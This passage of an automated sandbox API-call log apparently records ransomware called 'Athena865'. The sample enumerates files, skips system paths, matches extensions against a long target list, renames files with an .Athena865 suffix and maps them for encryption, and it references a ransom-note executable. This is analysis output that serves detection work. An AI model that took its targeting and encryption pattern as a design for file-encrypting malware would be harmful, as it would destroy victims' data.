lstrlenW (lpString="rod") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0071.745] lstrlenW (lpString="rodx") returned 4 [0071.745] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0071.745] lstrlenW (lpString="rpd") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0071.745] lstrlenW (lpString="rsd") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0071.745] lstrlenW (lpString="sas7bdat") returned 8 [0071.745] lstrcmpiW (lpString1="Word.dll", lpString2="sas7bdat") returned 1 [0071.745] lstrlenW (lpString="sbf") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0071.745] lstrlenW (lpString="scx") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0071.745] lstrlenW (lpString="sdb") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0071.745] lstrlenW (lpString="sdc") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0071.745] lstrlenW (lpString="sdf") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0071.745] lstrlenW (lpString="sis") returned 3 [0071.745] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0071.746] lstrlenW (lpString="spq") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0071.746] lstrlenW (lpString="te") returned 2 [0071.746] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0071.746] lstrlenW (lpString="teacher") returned 7 [0071.746] lstrcmpiW (lpString1="ord.dll", lpString2="teacher") returned -1 [0071.746] lstrlenW (lpString="tmd") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0071.746] lstrlenW (lpString="tps") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0071.746] lstrlenW (lpString="trc") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0071.746] lstrlenW (lpString="trc") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0071.746] lstrlenW (lpString="trm") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0071.746] lstrlenW (lpString="udb") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0071.746] lstrlenW (lpString="udl") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0071.746] lstrlenW (lpString="usr") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0071.746] lstrlenW (lpString="v12") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0071.746] lstrlenW (lpString="vis") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0071.746] lstrlenW (lpString="vpd") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0071.746] lstrlenW (lpString="vvv") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0071.746] lstrlenW (lpString="wdb") returned 3 [0071.746] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0071.747] lstrlenW (lpString="wmdb") returned 4 [0071.747] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0071.747] lstrlenW (lpString="wrk") returned 3 [0071.747] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0071.747] lstrlenW (lpString="xdb") returned 3 [0071.747] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0071.747] lstrlenW (lpString="xld") returned 3 [0071.747] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0071.747] lstrlenW (lpString="xmlff") returned 5 [0071.747] lstrcmpiW (lpString1="d.dll", lpString2="xmlff") returned -1 [0071.747] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.Athena865") returned 63 [0071.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll.athena865"), dwFlags=0x1) returned 1 [0071.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\GKWord.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\gkword.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0071.749] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3114368) returned 1 [0071.749] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0071.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0071.750] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0071.750] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0071.750] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0071.750] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.751] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2f8880, lpName=0x0) returned 0x17c [0071.752] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xf8880) returned 0x2d50000 [0071.793] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0071.865] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0071.882] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0071.883] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0071.883] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0071.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0071.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0071.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0071.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0071.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0071.883] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0071.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0071.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0071.883] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0071.883] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0071.899] CloseHandle (hObject=0x17c) returned 1 [0071.899] CloseHandle (hObject=0x154) returned 1 [0071.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0071.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0071.899] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0071.907] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8748a300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x52befd10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8748a300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x623b80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRAPH.EXE", cAlternateFileName="")) returned 1 [0071.907] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0071.907] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0071.907] lstrcmpiW (lpString1="GRAPH.EXE", lpString2=".") returned 1 [0071.907] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="..") returned 1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="windows") returned -1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="bootmgr") returned 1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="temp") returned -1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="pagefile.sys") returned -1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="boot") returned 1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="ids.txt") returned -1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="ntuser.dat") returned -1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="perflogs") returned -1 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2="MSBuild") returned -1 [0071.908] lstrlenW (lpString="GRAPH.EXE") returned 9 [0071.908] lstrcpyW (in: lpString1=0x241e89e, lpString2="GRAPH.EXE" | out: lpString1="GRAPH.EXE") returned="GRAPH.EXE" [0071.908] lstrlenW (lpString="GRAPH.EXE") returned 9 [0071.908] lstrlenW (lpString="Athena865") returned 9 [0071.908] lstrlenW (lpString=".dll") returned 4 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2=".dll") returned 1 [0071.908] lstrlenW (lpString=".lnk") returned 4 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2=".lnk") returned 1 [0071.908] lstrlenW (lpString=".ini") returned 4 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2=".ini") returned 1 [0071.908] lstrlenW (lpString=".sys") returned 4 [0071.908] lstrcmpiW (lpString1="GRAPH.EXE", lpString2=".sys") returned 1 [0071.908] lstrlenW (lpString="GRAPH.EXE") returned 9 [0071.908] lstrlenW (lpString="bak") returned 3 [0071.908] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0071.908] lstrlenW (lpString="ba_") returned 3 [0071.908] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0071.908] lstrlenW (lpString="dbb") returned 3 [0071.908] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0071.908] lstrlenW (lpString="vmdk") returned 4 [0071.908] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0071.908] lstrlenW (lpString="rar") returned 3 [0071.908] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0071.908] lstrlenW (lpString="zip") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0071.909] lstrlenW (lpString="tgz") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0071.909] lstrlenW (lpString="vbox") returned 4 [0071.909] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0071.909] lstrlenW (lpString="vdi") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0071.909] lstrlenW (lpString="vhd") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0071.909] lstrlenW (lpString="vhdx") returned 4 [0071.909] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0071.909] lstrlenW (lpString="avhd") returned 4 [0071.909] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0071.909] lstrlenW (lpString="db") returned 2 [0071.909] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0071.909] lstrlenW (lpString="db2") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0071.909] lstrlenW (lpString="db3") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0071.909] lstrlenW (lpString="dbf") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0071.909] lstrlenW (lpString="mdf") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0071.909] lstrlenW (lpString="mdb") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0071.909] lstrlenW (lpString="sql") returned 3 [0071.909] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0071.909] lstrlenW (lpString="sqlite") returned 6 [0071.909] lstrcmpiW (lpString1="PH.EXE", lpString2="sqlite") returned -1 [0071.909] lstrlenW (lpString="sqlite3") returned 7 [0071.909] lstrcmpiW (lpString1="APH.EXE", lpString2="sqlite3") returned -1 [0071.909] lstrlenW (lpString="sqlitedb") returned 8 [0071.909] lstrcmpiW (lpString1="RAPH.EXE", lpString2="sqlitedb") returned -1 [0071.910] lstrlenW (lpString="xml") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0071.910] lstrlenW (lpString="$er") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0071.910] lstrlenW (lpString="4dd") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0071.910] lstrlenW (lpString="4dl") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0071.910] lstrlenW (lpString="^^^") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0071.910] lstrlenW (lpString="abs") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0071.910] lstrlenW (lpString="abx") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0071.910] lstrlenW (lpString="accdb") returned 5 [0071.910] lstrcmpiW (lpString1="H.EXE", lpString2="accdb") returned 1 [0071.910] lstrlenW (lpString="accdc") returned 5 [0071.910] lstrcmpiW (lpString1="H.EXE", lpString2="accdc") returned 1 [0071.910] lstrlenW (lpString="accde") returned 5 [0071.910] lstrcmpiW (lpString1="H.EXE", lpString2="accde") returned 1 [0071.910] lstrlenW (lpString="accdr") returned 5 [0071.910] lstrcmpiW (lpString1="H.EXE", lpString2="accdr") returned 1 [0071.910] lstrlenW (lpString="accdt") returned 5 [0071.910] lstrcmpiW (lpString1="H.EXE", lpString2="accdt") returned 1 [0071.910] lstrlenW (lpString="accdw") returned 5 [0071.910] lstrcmpiW (lpString1="H.EXE", lpString2="accdw") returned 1 [0071.910] lstrlenW (lpString="accft") returned 5 [0071.910] lstrcmpiW (lpString1="H.EXE", lpString2="accft") returned 1 [0071.910] lstrlenW (lpString="adb") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0071.910] lstrlenW (lpString="adb") returned 3 [0071.910] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0071.911] lstrlenW (lpString="ade") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0071.911] lstrlenW (lpString="adf") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0071.911] lstrlenW (lpString="adn") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0071.911] lstrlenW (lpString="adp") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0071.911] lstrlenW (lpString="alf") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0071.911] lstrlenW (lpString="ask") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0071.911] lstrlenW (lpString="btr") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0071.911] lstrlenW (lpString="cat") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0071.911] lstrlenW (lpString="cdb") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0071.911] lstrlenW (lpString="ckp") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0071.911] lstrlenW (lpString="cma") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0071.911] lstrlenW (lpString="cpd") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0071.911] lstrlenW (lpString="dacpac") returned 6 [0071.911] lstrcmpiW (lpString1="PH.EXE", lpString2="dacpac") returned 1 [0071.911] lstrlenW (lpString="dad") returned 3 [0071.911] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0071.911] lstrlenW (lpString="dadiagrams") returned 10 [0071.911] lstrlenW (lpString="daschema") returned 8 [0071.911] lstrcmpiW (lpString1="RAPH.EXE", lpString2="daschema") returned 1 [0071.911] lstrlenW (lpString="db-journal") returned 10 [0071.911] lstrlenW (lpString="db-shm") returned 6 [0071.912] lstrcmpiW (lpString1="PH.EXE", lpString2="db-shm") returned 1 [0071.912] lstrlenW (lpString="db-wal") returned 6 [0071.912] lstrcmpiW (lpString1="PH.EXE", lpString2="db-wal") returned 1 [0071.912] lstrlenW (lpString="dbc") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0071.912] lstrlenW (lpString="dbs") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0071.912] lstrlenW (lpString="dbt") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0071.912] lstrlenW (lpString="dbv") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0071.912] lstrlenW (lpString="dbx") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0071.912] lstrlenW (lpString="dcb") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0071.912] lstrlenW (lpString="dct") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0071.912] lstrlenW (lpString="dcx") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0071.912] lstrlenW (lpString="ddl") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0071.912] lstrlenW (lpString="dlis") returned 4 [0071.912] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0071.912] lstrlenW (lpString="dp1") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0071.912] lstrlenW (lpString="dqy") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0071.912] lstrlenW (lpString="dsk") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0071.912] lstrlenW (lpString="dsn") returned 3 [0071.912] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0071.913] lstrlenW (lpString="dtsx") returned 4 [0071.913] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0071.913] lstrlenW (lpString="dxl") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0071.913] lstrlenW (lpString="eco") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0071.913] lstrlenW (lpString="ecx") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0071.913] lstrlenW (lpString="edb") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0071.913] lstrlenW (lpString="epim") returned 4 [0071.913] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0071.913] lstrlenW (lpString="fcd") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0071.913] lstrlenW (lpString="fdb") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0071.913] lstrlenW (lpString="fic") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0071.913] lstrlenW (lpString="flexolibrary") returned 12 [0071.913] lstrlenW (lpString="fm5") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0071.913] lstrlenW (lpString="fmp") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0071.913] lstrlenW (lpString="fmp12") returned 5 [0071.913] lstrcmpiW (lpString1="H.EXE", lpString2="fmp12") returned 1 [0071.913] lstrlenW (lpString="fmpsl") returned 5 [0071.913] lstrcmpiW (lpString1="H.EXE", lpString2="fmpsl") returned 1 [0071.913] lstrlenW (lpString="fol") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0071.913] lstrlenW (lpString="fp3") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0071.913] lstrlenW (lpString="fp4") returned 3 [0071.913] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0071.914] lstrlenW (lpString="fp5") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0071.914] lstrlenW (lpString="fp7") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0071.914] lstrlenW (lpString="fpt") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0071.914] lstrlenW (lpString="frm") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0071.914] lstrlenW (lpString="gdb") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0071.914] lstrlenW (lpString="gdb") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0071.914] lstrlenW (lpString="grdb") returned 4 [0071.914] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0071.914] lstrlenW (lpString="gwi") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0071.914] lstrlenW (lpString="hdb") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0071.914] lstrlenW (lpString="his") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0071.914] lstrlenW (lpString="ib") returned 2 [0071.914] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0071.914] lstrlenW (lpString="idb") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0071.914] lstrlenW (lpString="ihx") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0071.914] lstrlenW (lpString="itdb") returned 4 [0071.914] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0071.914] lstrlenW (lpString="itw") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0071.914] lstrlenW (lpString="jet") returned 3 [0071.914] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0071.914] lstrlenW (lpString="jtx") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0071.915] lstrlenW (lpString="kdb") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0071.915] lstrlenW (lpString="kexi") returned 4 [0071.915] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0071.915] lstrlenW (lpString="kexic") returned 5 [0071.915] lstrcmpiW (lpString1="H.EXE", lpString2="kexic") returned -1 [0071.915] lstrlenW (lpString="kexis") returned 5 [0071.915] lstrcmpiW (lpString1="H.EXE", lpString2="kexis") returned -1 [0071.915] lstrlenW (lpString="lgc") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0071.915] lstrlenW (lpString="lwx") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0071.915] lstrlenW (lpString="maf") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0071.915] lstrlenW (lpString="maq") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0071.915] lstrlenW (lpString="mar") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0071.915] lstrlenW (lpString="marshal") returned 7 [0071.915] lstrcmpiW (lpString1="APH.EXE", lpString2="marshal") returned -1 [0071.915] lstrlenW (lpString="mas") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0071.915] lstrlenW (lpString="mav") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0071.915] lstrlenW (lpString="maw") returned 3 [0071.915] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0071.915] lstrlenW (lpString="mdbhtml") returned 7 [0071.915] lstrcmpiW (lpString1="APH.EXE", lpString2="mdbhtml") returned -1 [0071.915] lstrlenW (lpString="mdn") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0071.916] lstrlenW (lpString="mdt") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0071.916] lstrlenW (lpString="mfd") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0071.916] lstrlenW (lpString="mpd") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0071.916] lstrlenW (lpString="mrg") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0071.916] lstrlenW (lpString="mud") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0071.916] lstrlenW (lpString="mwb") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0071.916] lstrlenW (lpString="myd") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0071.916] lstrlenW (lpString="ndf") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0071.916] lstrlenW (lpString="nnt") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0071.916] lstrlenW (lpString="nrmlib") returned 6 [0071.916] lstrcmpiW (lpString1="PH.EXE", lpString2="nrmlib") returned 1 [0071.916] lstrlenW (lpString="ns2") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0071.916] lstrlenW (lpString="ns3") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0071.916] lstrlenW (lpString="ns4") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0071.916] lstrlenW (lpString="nsf") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0071.916] lstrlenW (lpString="nv") returned 2 [0071.916] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0071.916] lstrlenW (lpString="nv2") returned 3 [0071.916] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0071.916] lstrlenW (lpString="nwdb") returned 4 [0071.917] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0071.917] lstrlenW (lpString="nyf") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0071.917] lstrlenW (lpString="odb") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0071.917] lstrlenW (lpString="odb") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0071.917] lstrlenW (lpString="oqy") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0071.917] lstrlenW (lpString="ora") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0071.917] lstrlenW (lpString="orx") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0071.917] lstrlenW (lpString="owc") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0071.917] lstrlenW (lpString="p96") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0071.917] lstrlenW (lpString="p97") returned 3 [0071.917] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0071.917] 